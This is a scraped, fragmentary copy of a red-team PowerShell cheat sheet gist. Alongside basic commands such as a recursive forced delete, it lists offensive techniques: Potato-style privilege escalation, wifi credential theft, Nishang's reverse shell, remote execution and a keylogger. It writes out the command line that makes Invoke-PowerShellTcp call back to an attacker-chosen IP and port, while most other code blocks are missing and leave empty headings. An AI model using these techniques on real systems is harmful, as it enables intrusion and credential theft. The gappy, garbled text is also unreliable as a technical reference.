PowerShell

RedTeam_CheatSheet.ps1 · GitHub

Basic commands

Help

Get-Help <command> -Detailed

Display all properties

<command> | Select-Object -Property *
<command> | Select *

Get file contents (like type or cat which is actually available as an alias, I guess)

Get-Content <file>

Delete directory recursive

Remove-Item -Recurse -Force <dir>

Write output to file

<command> | Out-File <file>

Count

(<command>).Count

Measures (Count, Avg, etc.)

<command> | Measure-Object

Whoami

-> SeImpersonatePrivilege (Potato exploits, PrintSpoofer, etc.)

Download file

or

Check architecture

64bit PowerShell path

Base64 encode file

Nishang

Offensive PowerShell for red team, penetration testing and offensive security. GitHub - samratashok/nishang

Gather information

Get wifi creds

Reverse shell

-> Append Invoke-PowerShellTcp -Reverse -IPAddress <ip> -Port <port> to Invoke-PowerShellTcp.ps1 to automatically execute the shell

Remote execution

PowerShell-Suite

This is a collection of PowerShell utilities I put together either for fun or because I had a narrow application in mind. GitHub - FuzzySecurity/PowerShell-Suite

-> Put at the bottom of Invoke-RunAs.ps1, if not working otherwise

Keylogger

Last updated